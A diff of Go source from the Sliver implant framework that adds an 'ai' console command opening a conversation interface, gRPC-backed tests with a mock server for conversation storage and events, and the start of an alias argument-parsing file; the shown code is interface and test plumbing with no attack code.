"github.com/bishopfox/sliver/client/command/help"
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Commands returns the ai command.
|
||||||
|
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||||
|
return []*cobra.Command{newAICommand(consts.SliverCoreHelpGroup, con)}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ServerCommands returns the ai command for the top-level client REPL.
|
||||||
|
func ServerCommands(con *console.SliverClient) []*cobra.Command {
|
||||||
|
return []*cobra.Command{newAICommand(consts.GenericHelpGroup, con)}
|
||||||
|
}
|
||||||
|
|
||||||
|
func newAICommand(groupID string, con *console.SliverClient) *cobra.Command {
|
||||||
|
return &cobra.Command{
|
||||||
|
Use: consts.AIStr,
|
||||||
|
Short: "Open the Sliver AI conversation TUI",
|
||||||
|
Long: help.GetHelpFor([]string{consts.AIStr}),
|
||||||
|
Args: cobra.NoArgs,
|
||||||
|
GroupID: groupID,
|
||||||
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
|
AICmd(cmd, con, args)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,591 @@
|
|||||||
|
package ai
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"net"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||||
|
"google.golang.org/grpc"
|
||||||
|
"google.golang.org/grpc/credentials/insecure"
|
||||||
|
"google.golang.org/grpc/test/bufconn"
|
||||||
|
"google.golang.org/protobuf/proto"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestLoadAIStateCmdLoadsConversationOverRPC(t *testing.T) {
|
||||||
|
server := &aiRPCServer{
|
||||||
|
providersResp: &clientpb.AIProviderConfigs{
|
||||||
|
Providers: []*clientpb.AIProviderConfig{{Name: "openai", Configured: true}},
|
||||||
|
Config: &clientpb.AIConfigSummary{
|
||||||
|
Provider: "openai",
|
||||||
|
Model: "gpt-test",
|
||||||
|
Valid: true,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
conversationsResp: &clientpb.AIConversations{
|
||||||
|
Conversations: []*clientpb.AIConversation{
|
||||||
|
{ID: "conv-1", Provider: "openai", Model: "gpt-test", Title: "First"},
|
||||||
|
{ID: "conv-2", Provider: "openai", Model: "gpt-test", Title: "Second"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
conversationByID: map[string]*clientpb.AIConversation{
|
||||||
|
"conv-1": {
|
||||||
|
ID: "conv-1",
|
||||||
|
Provider: "openai",
|
||||||
|
Model: "gpt-test",
|
||||||
|
Title: "First",
|
||||||
|
Messages: []*clientpb.AIConversationMessage{
|
||||||
|
{Role: "user", Content: "Hello"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
rpcClient, cleanup := newAITestRPCClient(t, server)
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
cmd := loadAIStateCmd(&console.SliverClient{Rpc: rpcClient}, aiTargetSummary{}, "")
|
||||||
|
msg := cmd()
|
||||||
|
|
||||||
|
loaded, ok := msg.(aiLoadedMsg)
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("expected aiLoadedMsg, got %T", msg)
|
||||||
|
}
|
||||||
|
if loaded.selectedID != "conv-1" {
|
||||||
|
t.Fatalf("unexpected selected conversation id: got=%q want=%q", loaded.selectedID, "conv-1")
|
||||||
|
}
|
||||||
|
if loaded.conversation == nil || loaded.conversation.GetID() != "conv-1" {
|
||||||
|
t.Fatalf("unexpected loaded conversation: %+v", loaded.conversation)
|
||||||
|
}
|
||||||
|
if len(loaded.conversations) != 2 {
|
||||||
|
t.Fatalf("unexpected conversation count: got=%d want=%d", len(loaded.conversations), 2)
|
||||||
|
}
|
||||||
|
|
||||||
|
server.mu.Lock()
|
||||||
|
defer server.mu.Unlock()
|
||||||
|
if server.getProvidersCalls != 1 {
|
||||||
|
t.Fatalf("expected GetAIProviders to be called once, got %d", server.getProvidersCalls)
|
||||||
|
}
|
||||||
|
if server.getConversationsCalls != 1 {
|
||||||
|
t.Fatalf("expected GetAIConversations to be called once, got %d", server.getConversationsCalls)
|
||||||
|
}
|
||||||
|
if len(server.getConversationReqs) != 1 {
|
||||||
|
t.Fatalf("expected GetAIConversation to be called once, got %d", len(server.getConversationReqs))
|
||||||
|
}
|
||||||
|
if server.getConversationReqs[0].GetID() != "conv-1" || !server.getConversationReqs[0].GetIncludeMessages() {
|
||||||
|
t.Fatalf("unexpected GetAIConversation request: %+v", server.getConversationReqs[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLoadAIStateCmdCreatesConversationWhenNoneExist(t *testing.T) {
|
||||||
|
server := &aiRPCServer{
|
||||||
|
providersResp: &clientpb.AIProviderConfigs{
|
||||||
|
Providers: []*clientpb.AIProviderConfig{{Name: "openai", Configured: true}},
|
||||||
|
Config: &clientpb.AIConfigSummary{
|
||||||
|
Provider: "openai",
|
||||||
|
Model: "gpt-test",
|
||||||
|
SystemPrompt: "Stay concise.",
|
||||||
|
Valid: true,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
conversationsResp: &clientpb.AIConversations{},
|
||||||
|
saveConversationResp: &clientpb.AIConversation{
|
||||||
|
ID: "conv-created",
|
||||||
|
Provider: "openai",
|
||||||
|
Model: "gpt-test",
|
||||||
|
Title: "New conversation",
|
||||||
|
SystemPrompt: "Stay concise.",
|
||||||
|
},
|
||||||
|
conversationByID: map[string]*clientpb.AIConversation{
|
||||||
|
"conv-created": {
|
||||||
|
ID: "conv-created",
|
||||||
|
Provider: "openai",
|
||||||
|
Model: "gpt-test",
|
||||||
|
Title: "New conversation",
|
||||||
|
SystemPrompt: "Stay concise.",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
rpcClient, cleanup := newAITestRPCClient(t, server)
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
msg := loadAIStateCmd(&console.SliverClient{Rpc: rpcClient}, aiTargetSummary{}, "")()
|
||||||
|
|
||||||
|
loaded, ok := msg.(aiLoadedMsg)
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("expected aiLoadedMsg, got %T", msg)
|
||||||
|
}
|
||||||
|
if loaded.status != "Created a new AI conversation." {
|
||||||
|
t.Fatalf("unexpected status: %q", loaded.status)
|
||||||
|
}
|
||||||
|
if loaded.selectedID != "conv-created" {
|
||||||
|
t.Fatalf("unexpected selected conversation id: %q", loaded.selectedID)
|
||||||
|
}
|
||||||
|
|
||||||
|
server.mu.Lock()
|
||||||
|
defer server.mu.Unlock()
|
||||||
|
if len(server.saveConversationReqs) != 1 {
|
||||||
|
t.Fatalf("expected SaveAIConversation to be called once, got %d", len(server.saveConversationReqs))
|
||||||
|
}
|
||||||
|
request := server.saveConversationReqs[0]
|
||||||
|
if request.GetProvider() != "openai" || request.GetModel() != "gpt-test" || request.GetTitle() != "New conversation" {
|
||||||
|
t.Fatalf("unexpected SaveAIConversation request: %+v", request)
|
||||||
|
}
|
||||||
|
if request.GetSystemPrompt() != "Stay concise." {
|
||||||
|
t.Fatalf("unexpected SaveAIConversation system prompt: %q", request.GetSystemPrompt())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSubmitPromptCmdCreatesConversationAndSavesUserMessage(t *testing.T) {
|
||||||
|
server := &aiRPCServer{
|
||||||
|
saveConversationResp: &clientpb.AIConversation{
|
||||||
|
ID: "conv-created",
|
||||||
|
Provider: "openai",
|
||||||
|
Model: "gpt-test",
|
||||||
|
Title: "Explain the workflow.",
|
||||||
|
},
|
||||||
|
saveMessageResp: &clientpb.AIConversationMessage{
|
||||||
|
ID: "msg-1",
|
||||||
|
ConversationID: "conv-created",
|
||||||
|
Role: "user",
|
||||||
|
Content: "Explain the workflow.\n\nWith details.",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
rpcClient, cleanup := newAITestRPCClient(t, server)
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
msg := submitPromptCmd(
|
||||||
|
&console.SliverClient{Rpc: rpcClient},
|
||||||
|
aiTargetSummary{SessionID: "session-1"},
|
||||||
|
nil,
|
||||||
|
"openai",
|
||||||
|
"gpt-test",
|
||||||
|
"Stay concise.",
|
||||||
|
"Explain the workflow.\n\nWith details.",
|
||||||
|
)()
|
||||||
|
|
||||||
|
submitted, ok := msg.(aiPromptSubmittedMsg)
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("expected aiPromptSubmittedMsg, got %T", msg)
|
||||||
|
}
|
||||||
|
if submitted.conversationID != "conv-created" {
|
||||||
|
t.Fatalf("unexpected conversation id: %q", submitted.conversationID)
|
||||||
|
}
|
||||||
|
|
||||||
|
server.mu.Lock()
|
||||||
|
defer server.mu.Unlock()
|
||||||
|
if len(server.saveConversationReqs) != 1 {
|
||||||
|
t.Fatalf("expected SaveAIConversation to be called once, got %d", len(server.saveConversationReqs))
|
||||||
|
}
|
||||||
|
if server.saveConversationReqs[0].GetTitle() != "Explain the workflow." {
|
||||||
|
t.Fatalf("unexpected conversation title: %q", server.saveConversationReqs[0].GetTitle())
|
||||||
|
}
|
||||||
|
if server.saveConversationReqs[0].GetTargetSessionID() != "session-1" {
|
||||||
|
t.Fatalf("expected target session to be forwarded, got %+v", server.saveConversationReqs[0])
|
||||||
|
}
|
||||||
|
if server.saveConversationReqs[0].GetSystemPrompt() != "Stay concise." {
|
||||||
|
t.Fatalf("unexpected conversation system prompt: %q", server.saveConversationReqs[0].GetSystemPrompt())
|
||||||
|
}
|
||||||
|
if len(server.saveMessageReqs) != 1 {
|
||||||
|
t.Fatalf("expected SaveAIConversationMessage to be called once, got %d", len(server.saveMessageReqs))
|
||||||
|
}
|
||||||
|
request := server.saveMessageReqs[0]
|
||||||
|
if request.GetConversationID() != "conv-created" || request.GetProvider() != "openai" || request.GetModel() != "gpt-test" || request.GetRole() != "user" {
|
||||||
|
t.Fatalf("unexpected SaveAIConversationMessage request: %+v", request)
|
||||||
|
}
|
||||||
|
if request.GetContent() != "Explain the workflow.\n\nWith details." {
|
||||||
|
t.Fatalf("unexpected prompt content: %q", request.GetContent())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSubmitPromptCmdUsesExistingConversationSettings(t *testing.T) {
|
||||||
|
server := &aiRPCServer{
|
||||||
|
saveMessageResp: &clientpb.AIConversationMessage{
|
||||||
|
ID: "msg-1",
|
||||||
|
ConversationID: "conv-1",
|
||||||
|
Role: "user",
|
||||||
|
Content: "hello",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
rpcClient, cleanup := newAITestRPCClient(t, server)
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
msg := submitPromptCmd(
|
||||||
|
&console.SliverClient{Rpc: rpcClient},
|
||||||
|
aiTargetSummary{},
|
||||||
|
&clientpb.AIConversation{ID: "conv-1", Provider: "anthropic", Model: "claude-test", Title: "Thread"},
|
||||||
|
"openai",
|
||||||
|
"gpt-test",
|
||||||
|
"Stay concise.",
|
||||||
|
"hello",
|
||||||
|
)()
|
||||||
|
|
||||||
|
if _, ok := msg.(aiPromptSubmittedMsg); !ok {
|
||||||
|
t.Fatalf("expected aiPromptSubmittedMsg, got %T", msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
server.mu.Lock()
|
||||||
|
defer server.mu.Unlock()
|
||||||
|
if len(server.saveConversationReqs) != 0 {
|
||||||
|
t.Fatalf("did not expect SaveAIConversation to be called, got %d calls", len(server.saveConversationReqs))
|
||||||
|
}
|
||||||
|
if len(server.saveMessageReqs) != 1 {
|
||||||
|
t.Fatalf("expected SaveAIConversationMessage to be called once, got %d", len(server.saveMessageReqs))
|
||||||
|
}
|
||||||
|
request := server.saveMessageReqs[0]
|
||||||
|
if request.GetProvider() != "anthropic" || request.GetModel() != "claude-test" {
|
||||||
|
t.Fatalf("unexpected conversation settings in message request: %+v", request)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDeleteConversationCmdSendsDeleteRequest(t *testing.T) {
|
||||||
|
server := &aiRPCServer{}
|
||||||
|
|
||||||
|
rpcClient, cleanup := newAITestRPCClient(t, server)
|
||||||
|
defer cleanup()
|
||||||
|
|
||||||
|
msg := deleteConversationCmd(
|
||||||
|
&console.SliverClient{Rpc: rpcClient},
|
||||||
|
"conv-1",
|
||||||
|
"conv-2",
|
||||||
|
`Deleted "Thread".`,
|
||||||
|
)()
|
||||||
|
|
||||||
|
deleted, ok := msg.(aiConversationDeletedMsg)
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("expected aiConversationDeletedMsg, got %T", msg)
|
||||||
|
}
|
||||||
|
if deleted.conversationID != "conv-1" || deleted.selectedID != "conv-2" {
|
||||||
|
t.Fatalf("unexpected delete message: %+v", deleted)
|
||||||
|
}
|
||||||
|
|
||||||
|
server.mu.Lock()
|
||||||
|
defer server.mu.Unlock()
|
||||||
|
if len(server.deleteConversationReqs) != 1 {
|
||||||
|
t.Fatalf("expected DeleteAIConversation to be called once, got %d", len(server.deleteConversationReqs))
|
||||||
|
}
|
||||||
|
if server.deleteConversationReqs[0].GetID() != "conv-1" {
|
||||||
|
t.Fatalf("unexpected DeleteAIConversation request: %+v", server.deleteConversationReqs[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWaitForAIConversationEventCmdFiltersForAIEvents(t *testing.T) {
|
||||||
|
eventPayload := &clientpb.AIConversationEvent{
|
||||||
|
EventType: clientpb.AIConversationEventType_AI_CONVERSATION_EVENT_TYPE_CONVERSATION_UPDATED,
|
||||||
|
Conversation: &clientpb.AIConversation{
|
||||||
|
ID: "conv-1",
|
||||||
|
OperatorName: "alice",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
data, err := proto.Marshal(eventPayload)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("marshal conversation event: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
listener := make(chan *clientpb.Event, 2)
|
||||||
|
listener <- &clientpb.Event{EventType: consts.WatchtowerEvent}
|
||||||
|
listener <- &clientpb.Event{EventType: consts.AIConversationEvent, Data: data}
|
||||||
|
|
||||||
|
msg := waitForAIConversationEventCmd(listener)()
|
||||||
|
|
||||||
|
aiEvent, ok := msg.(aiConversationEventMsg)
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("expected aiConversationEventMsg, got %T", msg)
|
||||||
|
}
|
||||||
|
if aiEvent.event == nil || aiEvent.event.GetConversation() == nil || aiEvent.event.GetConversation().GetID() != "conv-1" {
|
||||||
|
t.Fatalf("unexpected AI conversation event payload: %+v", aiEvent.event)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWaitForAIConversationEventCmdReturnsToastMessages(t *testing.T) {
|
||||||
|
listener := make(chan *clientpb.Event, 1)
|
||||||
|
listener <- &clientpb.Event{
|
||||||
|
EventType: consts.ClientToastEvent,
|
||||||
|
Data: []byte("Session alpha connected"),
|
||||||
|
Err: "info",
|
||||||
|
}
|
||||||
|
|
||||||
|
msg := waitForAIConversationEventCmd(listener)()
|
||||||
|
|
||||||
|
toast, ok := msg.(aiToastMsg)
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("expected aiToastMsg, got %T", msg)
|
||||||
|
}
|
||||||
|
if toast.level != "info" || toast.message != "Session alpha connected" {
|
||||||
|
t.Fatalf("unexpected toast payload: %+v", toast)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWaitForAIConversationEventCmdReturnsClosedMessage(t *testing.T) {
|
||||||
|
listener := make(chan *clientpb.Event)
|
||||||
|
close(listener)
|
||||||
|
|
||||||
|
msg := waitForAIConversationEventCmd(listener)()
|
||||||
|
if _, ok := msg.(aiListenerClosedMsg); !ok {
|
||||||
|
t.Fatalf("expected aiListenerClosedMsg, got %T", msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAIModelAppliesSharedConversationEventsWithoutReload(t *testing.T) {
|
||||||
|
listener := make(chan *clientpb.Event)
|
||||||
|
close(listener)
|
||||||
|
|
||||||
|
model := newAIModel(nil, aiContext{
|
||||||
|
connection: aiConnectionSummary{Operator: "alice"},
|
||||||
|
}, listener)
|
||||||
|
model.loading = false
|
||||||
|
model.conversations = []*clientpb.AIConversation{{ID: "conv-1", Title: "First"}}
|
||||||
|
|
||||||
|
updated, cmd := model.Update(aiConversationEventMsg{event: &clientpb.AIConversationEvent{
|
||||||
|
EventType: clientpb.AIConversationEventType_AI_CONVERSATION_EVENT_TYPE_CONVERSATION_UPDATED,
|
||||||
|
Conversation: &clientpb.AIConversation{
|
||||||
|
ID: "conv-2",
|
||||||
|
OperatorName: "bob",
|
||||||
|
Title: "Shared thread",
|
||||||
|
},
|
||||||
|
}})
|
||||||
|
|
||||||
|
nextModel := updated.(*aiModel)
|
||||||
|
if nextModel.loading {
|
||||||
|
t.Fatal("did not expect shared conversation event to trigger a reload")
|
||||||
|
}
|
||||||
|
if conversationIndexByID(nextModel.conversations, "conv-2") < 0 {
|
||||||
|
t.Fatalf("expected shared conversation to be merged locally, got %+v", nextModel.conversations)
|
||||||
|
}
|
||||||
|
if cmd == nil {
|
||||||
|
t.Fatal("expected shared conversation event to continue listening for events")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAIModelAppliesDeleteEventsWhileAwaitingResponse(t *testing.T) {
|
||||||
|
listener := make(chan *clientpb.Event)
|
||||||
|
close(listener)
|
||||||
|
|
||||||
|
model := newAIModel(nil, aiContext{
|
||||||
|
connection: aiConnectionSummary{Operator: "alice"},
|
||||||
|
}, listener)
|
||||||
|
model.loading = false
|
||||||
|
model.awaitingResponse = true
|
||||||
|
model.currentConversation = &clientpb.AIConversation{
|
||||||
|
ID: "conv-2",
|
||||||
|
OperatorName: "alice",
|
||||||
|
UpdatedAt: 100,
|
||||||
|
TurnState: clientpb.AIConversationTurnState_AI_TURN_STATE_IN_PROGRESS,
|
||||||
|
Messages: []*clientpb.AIConversationMessage{
|
||||||
|
{Role: "user", Content: "still waiting"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
model.conversations = []*clientpb.AIConversation{
|
||||||
|
{ID: "conv-2", Title: "Current"},
|
||||||
|
{ID: "conv-1", Title: "Fallback"},
|
||||||
|
}
|
||||||
|
|
||||||
|
updated, cmd := model.Update(aiConversationEventMsg{event: &clientpb.AIConversationEvent{
|
||||||
|
EventType: clientpb.AIConversationEventType_AI_CONVERSATION_EVENT_TYPE_CONVERSATION_DELETED,
|
||||||
|
ConversationID: "conv-2",
|
||||||
|
Conversation: &clientpb.AIConversation{
|
||||||
|
ID: "conv-2",
|
||||||
|
},
|
||||||
|
}})
|
||||||
|
|
||||||
|
nextModel := updated.(*aiModel)
|
||||||
|
if nextModel.loading {
|
||||||
|
t.Fatal("did not expect delete tombstone to trigger a reload")
|
||||||
|
}
|
||||||
|
if nextModel.currentConversation != nil {
|
||||||
|
t.Fatalf("expected deleted conversation to be cleared, got %+v", nextModel.currentConversation)
|
||||||
|
}
|
||||||
|
if conversationIndexByID(nextModel.conversations, "conv-2") >= 0 {
|
||||||
|
t.Fatalf("expected deleted conversation to be removed, got %+v", nextModel.conversations)
|
||||||
|
}
|
||||||
|
if cmd == nil {
|
||||||
|
t.Fatal("expected delete tombstone to continue listening for events")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type aiRPCServer struct {
|
||||||
|
rpcpb.UnimplementedSliverRPCServer
|
||||||
|
|
||||||
|
mu sync.Mutex
|
||||||
|
|
||||||
|
providersResp *clientpb.AIProviderConfigs
|
||||||
|
conversationsResp *clientpb.AIConversations
|
||||||
|
conversationByID map[string]*clientpb.AIConversation
|
||||||
|
saveConversationResp *clientpb.AIConversation
|
||||||
|
saveMessageResp *clientpb.AIConversationMessage
|
||||||
|
sessionsResp *clientpb.Sessions
|
||||||
|
beaconsResp *clientpb.Beacons
|
||||||
|
|
||||||
|
getProvidersCalls int
|
||||||
|
getConversationsCalls int
|
||||||
|
getSessionsCalls int
|
||||||
|
getBeaconsCalls int
|
||||||
|
getConversationReqs []*clientpb.AIConversationReq
|
||||||
|
deleteConversationReqs []*clientpb.AIConversationReq
|
||||||
|
saveConversationReqs []*clientpb.AIConversation
|
||||||
|
saveMessageReqs []*clientpb.AIConversationMessage
|
||||||
|
getConversationStart chan struct{}
|
||||||
|
getConversationWait <-chan struct{}
|
||||||
|
saveMessageStarted chan struct{}
|
||||||
|
saveMessageRelease <-chan struct{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *aiRPCServer) GetAIProviders(context.Context, *commonpb.Empty) (*clientpb.AIProviderConfigs, error) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.getProvidersCalls++
|
||||||
|
if s.providersResp == nil {
|
||||||
|
return &clientpb.AIProviderConfigs{}, nil
|
||||||
|
}
|
||||||
|
return proto.Clone(s.providersResp).(*clientpb.AIProviderConfigs), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *aiRPCServer) GetAIConversations(context.Context, *commonpb.Empty) (*clientpb.AIConversations, error) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.getConversationsCalls++
|
||||||
|
if s.conversationsResp == nil {
|
||||||
|
return &clientpb.AIConversations{}, nil
|
||||||
|
}
|
||||||
|
return proto.Clone(s.conversationsResp).(*clientpb.AIConversations), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *aiRPCServer) GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.getSessionsCalls++
|
||||||
|
if s.sessionsResp == nil {
|
||||||
|
return &clientpb.Sessions{}, nil
|
||||||
|
}
|
||||||
|
return proto.Clone(s.sessionsResp).(*clientpb.Sessions), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *aiRPCServer) GetBeacons(context.Context, *commonpb.Empty) (*clientpb.Beacons, error) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.getBeaconsCalls++
|
||||||
|
if s.beaconsResp == nil {
|
||||||
|
return &clientpb.Beacons{}, nil
|
||||||
|
}
|
||||||
|
return proto.Clone(s.beaconsResp).(*clientpb.Beacons), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *aiRPCServer) GetAIConversation(_ context.Context, req *clientpb.AIConversationReq) (*clientpb.AIConversation, error) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.getConversationReqs = append(s.getConversationReqs, proto.Clone(req).(*clientpb.AIConversationReq))
|
||||||
|
if s.getConversationStart != nil {
|
||||||
|
select {
|
||||||
|
case s.getConversationStart <- struct{}{}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if s.getConversationWait != nil {
|
||||||
|
s.mu.Unlock()
|
||||||
|
<-s.getConversationWait
|
||||||
|
s.mu.Lock()
|
||||||
|
}
|
||||||
|
if s.conversationByID == nil {
|
||||||
|
return &clientpb.AIConversation{}, nil
|
||||||
|
}
|
||||||
|
conversation := s.conversationByID[req.GetID()]
|
||||||
|
if conversation == nil {
|
||||||
|
return &clientpb.AIConversation{}, nil
|
||||||
|
}
|
||||||
|
return proto.Clone(conversation).(*clientpb.AIConversation), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *aiRPCServer) SaveAIConversation(_ context.Context, req *clientpb.AIConversation) (*clientpb.AIConversation, error) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.saveConversationReqs = append(s.saveConversationReqs, proto.Clone(req).(*clientpb.AIConversation))
|
||||||
|
if s.saveConversationResp == nil {
|
||||||
|
return proto.Clone(req).(*clientpb.AIConversation), nil
|
||||||
|
}
|
||||||
|
return proto.Clone(s.saveConversationResp).(*clientpb.AIConversation), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *aiRPCServer) DeleteAIConversation(_ context.Context, req *clientpb.AIConversationReq) (*commonpb.Empty, error) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.deleteConversationReqs = append(s.deleteConversationReqs, proto.Clone(req).(*clientpb.AIConversationReq))
|
||||||
|
return &commonpb.Empty{}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *aiRPCServer) SaveAIConversationMessage(_ context.Context, req *clientpb.AIConversationMessage) (*clientpb.AIConversationMessage, error) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.saveMessageReqs = append(s.saveMessageReqs, proto.Clone(req).(*clientpb.AIConversationMessage))
|
||||||
|
if s.saveMessageStarted != nil {
|
||||||
|
select {
|
||||||
|
case s.saveMessageStarted <- struct{}{}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if s.saveMessageRelease != nil {
|
||||||
|
s.mu.Unlock()
|
||||||
|
<-s.saveMessageRelease
|
||||||
|
s.mu.Lock()
|
||||||
|
}
|
||||||
|
if s.saveMessageResp == nil {
|
||||||
|
return proto.Clone(req).(*clientpb.AIConversationMessage), nil
|
||||||
|
}
|
||||||
|
return proto.Clone(s.saveMessageResp).(*clientpb.AIConversationMessage), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func newAITestRPCClient(t *testing.T, srv rpcpb.SliverRPCServer) (rpcpb.SliverRPCClient, func()) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
listener := bufconn.Listen(1024 * 1024)
|
||||||
|
grpcServer := grpc.NewServer()
|
||||||
|
rpcpb.RegisterSliverRPCServer(grpcServer, srv)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
_ = grpcServer.Serve(listener)
|
||||||
|
}()
|
||||||
|
|
||||||
|
dialer := func(context.Context, string) (net.Conn, error) { return listener.Dial() }
|
||||||
|
conn, err := grpc.DialContext(context.Background(), "bufnet",
|
||||||
|
grpc.WithContextDialer(dialer),
|
||||||
|
grpc.WithTransportCredentials(insecure.NewCredentials()),
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
grpcServer.Stop()
|
||||||
|
_ = listener.Close()
|
||||||
|
t.Fatalf("dial bufconn: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cleanup := func() {
|
||||||
|
_ = conn.Close()
|
||||||
|
grpcServer.Stop()
|
||||||
|
_ = listener.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
return rpcpb.NewSliverRPCClient(conn), cleanup
|
||||||
|
}
|
||||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,251 @@
|
|||||||
|
package alias
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2021 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Alias commands run with cobra's DisableFlagParsing enabled (see LoadAlias),
|
||||||
|
// the same treatment extension commands received for their arguments. Before
|
||||||
|
// that, an unknown flag such as the payload's own `-pid` was rejected outright
|
||||||
|
// by pflag ("unknown flag"), and operators had to inject cobra's "--"
|
||||||
|
// separator (documented on the wiki) to pass arguments through at all (#2264).
|
||||||
|
//
|
||||||
|
// With flag parsing disabled cobra hands Run the raw, unstripped slice, and we
|
||||||
|
// extract the Sliver-owned flags ourselves here. Everything we do not own is
|
||||||
|
// passed to the payload untouched, so all of these now work:
|
||||||
|
//
|
||||||
|
